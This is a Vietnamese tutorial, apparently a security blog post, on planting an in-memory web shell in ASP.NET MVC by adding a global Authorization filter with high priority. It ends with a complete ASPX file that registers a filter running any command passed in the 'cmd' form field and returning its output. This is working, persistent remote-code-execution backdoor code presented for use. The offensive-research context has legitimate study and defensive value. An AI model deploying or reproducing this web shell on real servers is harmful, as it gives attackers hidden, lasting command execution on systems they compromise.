Filter Memory Shell
0. Pre-face
Bài đầu tiên khá là nhẹ nhàng để làm quen với môi trường ASP.NET
Trong ASP.NET thì ai cũng đã biết concept pipeline để handle request

Nói dễ hiểu là request sẽ được handle qua nhiều module (middleware) khác nhau để xử lý rồi trả về response. Trong quá trình process pipeline ta cũng có thể apply Filter để "filter" request như trong mô hình của Tomcat đã tìm hiểu ở Java. Với ý tưởng này thì mình sẽ tiến hành inject memshell thông qua Filter.
Tính năng Filter như trên nằm trong ASP.NET MVC, do đó điều kiện để triển khai là web dùng framwork ASP.NET MVC
1. Cách Filter được Add
Đầu tiên ta sẽ tạo một project ASP.NET MVC trong Rider với .NET Framework 4.8
Ta sẽ có file structure như sau:

Tại file Global.asax
sẽ được gọi mỗi khi start web, code behind của file này có nội dung như sau:

Ta sẽ thấy trong các khai báo được gọi khi Start ứng dụng có khai báo register Filters. Các khai báo trên sẽ gọi đến code được define sẵn trong thư mục App_Start
. Nội dung file FilterConfig
để add filter như sau

Nhảy vào hàm Add
ta sẽ thấy được filter được add bởi GlobalFilterCollection
trong namespace System.Web.Mvc
.

Method này sẽ add Filter vào List<Filter>
, điều đáng nói đây là method public nên ta có thể dễ dàng truy cập trực tiếp mà không cần dùng đến Reflection hay đi đường vòng như trong Java.
2. Các loại Filter
Trước khi thực hiện inject Filter thì ta sẽ tìm hiểu 1 chút về các loại Filter là priority giữa chúng
Theo docs thì ta có 4 loại như sau:
Authorization filters – Implements IAuthorizationFilter: Như tên gọi thì được dùng để authentication và authorization
Action filters – Implements IActionFilter: Chứa logic thực thi trước và sau khi thực thi Controller
Result filters – Implements IResultFilter: Thực thi trước và sau khi thực thi View
Exception filters – Implements IExceptionFilter: Handle Error
Về thứ tự thực thi thì cũng đi từ trên xuống dưới, Authorization filters sẽ được thực thi đầu tiên và Exception filters sẽ được thực thi cuối cùng. Do đó ta sẽ inject memshell vào Authorization filters để đảm bảo luôn RCE được.
Tuy nhiên khi có nhiều Filter cùng loại thì priority giữa chúng sẽ được quyết định theo giá trị của property Order và Scope. Khi Filter được khởi tạo ta sẽ thấy 2 property này được set vào Filter

Các Filter sẽ được so sánh priority theo logic sau

Nếu Order càng nhỏ thì càng ưu tiên
Nếu Order bằng nhau thì xét đến Scope
Các giá trị của FilterScope

Mặc định Filter.Order sẽ mang giá trị -1 nên ta chỉ cần gán Filter.Order giá trị nào đó < -1 là xong
3. Triển khai
Tóm lại những gì đã nói ở trên ta sẽ có file ASPX sau để triển khai memshell
<%@ Page Language="c#"%>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web.Mvc" %>
<script runat="server">
public class MyAuthFilter : IAuthorizationFilter
{
public void OnAuthorization(AuthorizationContext filterContext)
{
String cmd = filterContext.HttpContext.Request.Form["cmd"];
if (cmd != null)
{
HttpResponseBase response = filterContext.HttpContext.Response;
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.Write(System.Text.Encoding.Default.GetString(data));
}
}
}
</script>
<%
GlobalFilters.Filters.Add(new MyAuthFilter(), -2);
%>
Truy cập để load memshell

Khi load thành công ta có thể RCE với parameter cmd

4. Kết luận
Tóm lại điều kiện để triển khai loại memshell này là web ASP.NET dùng framework MVC.
Một điểm lưu ý khác với Java là ta không thể add Filter với path bất kỳ (/*) được, do đó nếu muốn trigger Filter ta phải truy cập 1 endpoint hợp lệ trên web, nếu không thì sẽ lỗi

Refer:
Last updated